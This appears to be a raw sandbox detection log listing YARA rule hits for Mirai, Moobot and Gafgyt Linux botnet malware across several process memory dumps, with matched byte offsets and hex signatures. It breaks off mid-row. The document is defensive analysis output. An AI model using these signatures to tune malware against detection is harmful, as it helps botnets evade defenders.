6610.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6610.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6610.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6610.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6610.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6610.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7316.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7153.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6640.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6889.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6889.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6889.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6889.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6889.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6889.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7141.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6916.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6916.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6916.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6916.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6916.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6916.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6524.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6524.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6524.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6524.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6524.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6524.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7015.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7015.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7015.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7015.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7015.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7015.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6526.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7118.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6274.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6274.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6274.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6274.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6274.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 